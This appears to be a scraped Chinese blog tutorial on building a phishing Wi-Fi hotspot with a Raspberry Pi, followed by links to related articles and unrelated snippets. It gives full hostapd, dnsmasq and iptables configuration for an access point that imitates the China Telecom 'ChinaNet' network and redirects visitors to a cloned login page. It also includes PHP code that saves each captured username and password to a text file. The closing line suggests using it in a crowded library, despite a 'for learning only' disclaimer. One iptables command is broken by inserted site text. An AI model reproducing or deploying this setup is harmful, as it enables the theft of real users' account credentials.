我们连接的公共wifi其实是非常不安全的网络,骇客可以利用wifi路由设备进行中间人攻击,劫持DNS伪造钓鱼网站。接下来我会做个简单的实验,伪造中国电信的路由ChinaNet并发射出热点wifi等待别人连接,从而达到获取用户的手机账户和密码的目的。
本记录仅供个人学习交流使用,请勿用于非法用途。

本次仅搭建热点进行设备引流,不做中间人攻击,而是简单的跳转到伪造的ChinaNet页面,等待连接的设备输入用户名和密码进行存储。

需要安装两个软件,并且做一些配置
hostapd(用于提供无线共享,创建wifi热点)
dnsmasq(用于配置DNS和DHCP的工具,可以对接入热点的设备进行流量引导)

1.安装 hostapd

1
apt-get install hostapd

2.编辑hostapd配置文件

1
vim /etc/hostapd/hostapd.conf

配置内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#Wifi接口名称,使用树莓派内置的无线网卡wlan0
interface=wlan0
#wifi热点网络名称,其他设备搜索到的wifi名称
ssid=ChinaNet
#频道设置为6
channel=6
#接受所有MAC地址
macaddr_acl=0
#忽略ssid广播,需要客户端知道网络名称
ignore_broadcast_ssid=0
#树莓派3的驱动
driver=nl80211
#使用2.4GHZ波段
hw_mode=g
#开启VMM
wmm_enabled=1

3.编辑hostapd的默认守护进程配置文件

1
vim /etc/default/hostapd

添加配置内容

1
DAEMON_CONF="/etc/hostapd/hostapd.conf"

4.编辑网络接口配置

1
vim /etc/network/interfaces

配置内容如下:

1
2
3
4
5
6
allow-hotplug wlan0
iface wlan0 inet static
address 172.24.1.1
netmask 255.255.255.0
network 172.24.1.0
broadcast 172.24.1.255

5.安装dnsmasq

1
apt-get install dnsmasq

6.编辑dnsmasq配置文件

1
vim /etc/dnsmasq.conf

配置内容如下:

1
2
3
4
5
6
7
interface=wlan0
listen-address=172.24.1.1
bind-interfaces
server=8.8.8.8
domain-needed
bogus-priv
dhcp-range=172.24.1.50,172.24.1.150,12h

7.编辑rc.local文件,在exit0 上方添加

1
iptables-restore < /etc/iptables.ipv4.nat

8.依次执行下列命令

1
2
3
4
5
sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ES 大专栏  树莓派搭建钓鱼wifi热点TABLISHED -j ACCEPT
sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
sudo sh -c "iptables-save > /etc/iptables.ipv4.nat"

9.启动hostapd和dnsmasq

1
2
sudo service hostapd start
sudo service dnsmasq start

10.重启系统

1
reboot

11.编写钓鱼网站程序
将自己的电脑先连接到中国电信的路由器ChinaNet网络上,并且将认证网页下载到本地。
修改认证网页的提交表单地址,可以提交给自己的远程服务器,也可以提交到本地。
这里我使用提交提交到本地的方式,将表单提交给一个php程序来处理。
登录认证页面

1
2
3
4
5
6
7
8
...
<form action="login.php" method="post" onsubmit="return false;" id="formCh">
<input name="userName" id="userName3" type="text" class="input_txt" value="">
<input name="password" id="password3" type="password" autocomplete="off" class="input_txt" value="">
<input type="image" src="./dlu.png" onclick="if(!this.disabled) return checkLogin3();">
</form>
...

处理程序
login.php

1
2
3
4
5
6
7
8
9
10
11
12
$userName = $_POST['userName']; // 获取用户名
$password = $_POST['password']; // 获取密码 // 以追加内容的方式打开pass.txt文件
$myfile = fopen("pass.txt","a");
// 要保存的数据:用户名 密码 当前时间
$info = "userName=$userName passWord=$password t".date("Y-m-d H:i:s")." n";
// 写入文件
fwrite($myfile,$info);
// 关闭文件流
fclose($myfile);

由于之前已经搭建好了LNMP的环境,自己将编写好的web程序放到/var/www/html路径下即可。php程序要给可执行权限才能操作磁盘文件进行读写,为了方便我们之间将整个html文件夹下的文件都设置为可执行
切换到/var/www/下 执行 chmod 777 html/*

12.打开手机,即可看到树莓派发出的ChinaNet网络

连接上后可以看到树莓派为连接上热点的wifi分配了ip地址

打开浏览器,随便输入一个url地址,都将被重定向到我们的钓鱼页面

用户输入用户名和密码后点击提交,将会执行指定的php程序

打开网页所在的文件夹下查看pass.txt文件,可以看到用户和密码以及登录时间

到此简单的钓鱼wifi就制作完成了。
树莓派+移动电源+Wi-Fi模块+大黑背包+一个人来人往的图书馆+将Wi-Fi名字设置为ChinaNet。你懂的

树莓派搭建钓鱼wifi热点的更多相关文章

  1. 简单快速搭建钓鱼wifi

    前言 钓鱼wifi是很久的话题了,但是传统的方法可能比较麻烦需要手动配置dhcp,dns,网卡,流量转发,比较麻烦,而且还有根据每次的网络环境需要重新的配置,这里介绍用WIFIpumpkin3工具简单 ...

  2. 将树莓派3B+变成WiFi热点

    我有一个树莓派3B+,安装的是官方的Raspbian Stretch操作系统,该系统和Debian 9很类似,很多命令都是通用的. 接下来我将演示如何利用树莓派搭建WiFi热点,此热点就和家里的无线路 ...

  3. 『邪恶のWIFI』搭建假冒WIFI热点等女神来蹭网啊 - -。

    pic by baidu 0x 00 ╮(╯▽╰)╭ 请喊我万恶的标题党  哈哈哈哈哈 0x 01 这里正题 虚拟机(Kali)不支持内置网卡,还好我有神器,插上我的RT8187L,开始搞起 参考资料 ...

  4. 利用路由器搭建受限wifi热点,气死蹭网的坏人~

    很多人的无线路由器都设密码,不在家的时候还会关了,一点互联网分享的精神都没有.我就一直开着无线路由器,也从不设密码,让周围的人可以搜到我的信号,连接成功,我就会很开心.虽然我没有装宽带,但我觉得这已经 ...

  5. (转)将win7电脑无线网变身WiFi热点,让手机、笔记本共享上网

    将win7电脑变身WiFi热点,让手机.笔记本共享上网 功能:开启windows 7的隐藏功能:虚拟WiFi和SoftAP(即虚拟无线AP),就可以让电脑变成无线路由器,实现共享上网,节省网费和路由器 ...

  6. 如何在Kali Linux中搭建钓鱼热点

    文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用! 0×00 实验环境 操作系统:Kali 1.0 (VM) FackAP: easy-creds 硬件:NETGEAR wg ...

  7. 【树莓派】【转】将树莓派Raspberry Pi设置为无线路由器(WiFi热点AP,RTL8188CUS芯片)

    下文为转载,文章转自:http://wangye.org/blog/archives/845/,仅供本次学习实践参考. 最近又开始折腾起Raspberry Pi来了,因为某处上网需要锐捷拨号,于是我就 ...

  8. 将树莓派Raspberry Pi设置为无线路由器(WiFi热点AP,RTL8188CUS芯片)

    http://wangye.org/blog/archives/845/ 最近又开始折腾起Raspberry Pi来了,因为某处上网需要锐捷拨号,于是我就想能不能让我的树莓派代劳,当然首先要将其改造为 ...

  9. 钓鱼WIFI搭建

      1.无线网卡 2.KaliLinux操作系统,这里就不用说了,必备的 3.isc-dhcp-server服务器.安装好KaliLinux后只需要apt-get update 然后apt-get i ...

随机推荐

  1. maven中的groupId和artifactId 区分

    原文地址:https://blog.csdn.net/snowin1994/article/details/53024871/ maven中的groupId和artifactId 区分 groupid ...

  2. TCP三次握手和四次挥手相关

    客户端A 服务端BSYN (建立连接位标识 1为建立联机) ACK (确认位标识 1为确认) seq (一个随机顺序码) ack(一个确认号码,通常为seq+1) 三次握手:1.A 发起建立 连接 的 ...

  3. Vmotion迁移要求

  4. IP首部检验和的计算和举例

    IP首部校验和 首部校验和(16位)字段只检验数据报的首部,不检验数据部分.这里不采用CRC检验码而采用简单的计算方法. 发送端 首先将检验和置零,求首部数据的补码和(包含检验和),因为为零,所以无影 ...

  5. [Java-基础]反射_Class对象_动态操作

    动态性 动态语言 在程序运行时,可以改变程序结构或变量类型,典型的语言: Python,ruby,javascript 如: function test(){ var s = "var a= ...

  6. 3.react 基础 - JSX 语法

    1.最基础的 JSX 语法 普通javaScript中 引入 标签 let html = '<h1>hello</h1>'; jsx语法 let JSX_html = < ...

  7. 面试易错题 Java

    1. int[] arr = new int[10]; System.out.println(arr);//地址值? char[] arr1 = new char[10]; System.out.pr ...

  8. 深入浅出 java.String

    深入浅出 java.String Java 处理字符串常用的一些方法 Java定义一个字符串 直接定字符串 直接定义字符串表示直接使用""来表示字符串中的内容 String str ...

  9. 结点选择(树形DP)

    Description 有一棵 n 个节点的树,树上每个节点都有一个正整数权值.如果一个点被选择了,那么在树上和它相邻的点都不能被选择.求选出的点的权值和最大是多少? Input 接下来的一行包含 n ...

  10. Python cannot import name 'Line' from 'pyecharts'

    问题与尝试 代码 from pyecharts.charts import Line 中,出现 cannot import name 'Line' from 'pyecharts' 错误. 找了很多, ...